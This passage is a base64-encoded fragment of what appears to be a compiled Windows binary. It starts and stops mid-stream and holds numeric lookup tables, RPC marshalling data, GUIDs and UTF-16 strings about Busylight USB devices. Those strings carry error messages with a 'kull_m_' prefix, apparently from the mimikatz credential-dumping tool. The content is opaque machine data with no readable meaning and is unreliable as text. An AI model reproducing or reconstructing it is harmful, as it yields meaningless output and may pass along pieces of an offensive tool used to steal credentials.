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AgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAIAAoAGgASwBlAGUAcABBAGwAaQB2AGUAVABoAHIAZQBhAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGgAQgB1AHMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGQAZQB2AGkAYwBlAEgAYQBuAGQAbABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAHIAZQBxAHUAZQBzAHQAXwBjAHIAZQBhAHQAZQAgADsAIABjAG8AdQBuAHQAPQAlAHUAIAAoAG0AYQB4ACAAaQBzACAANwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwBzAGUAbgBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAVwByAGkAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAUgBlAGEAZABGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAXwByAGUAYQBkAF8AcgBhAHcAIAA7ACAAWwBkAGUAdgBpAGMAZQAgACUAdQBdACAAJQB1ACAAYgB5AHQAZQAoAHMAKQAgAHIAZQBhAGQAZQBkACwAIAAlAHUAIAB3AGEAbgB0AGUAZAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHIAZQBhAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABJAG4AdgBhAGwAaQBkACAARABlAHYAaQBjAGUALwBCAHUAcwB5ACAASABhAG4AZABsAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQ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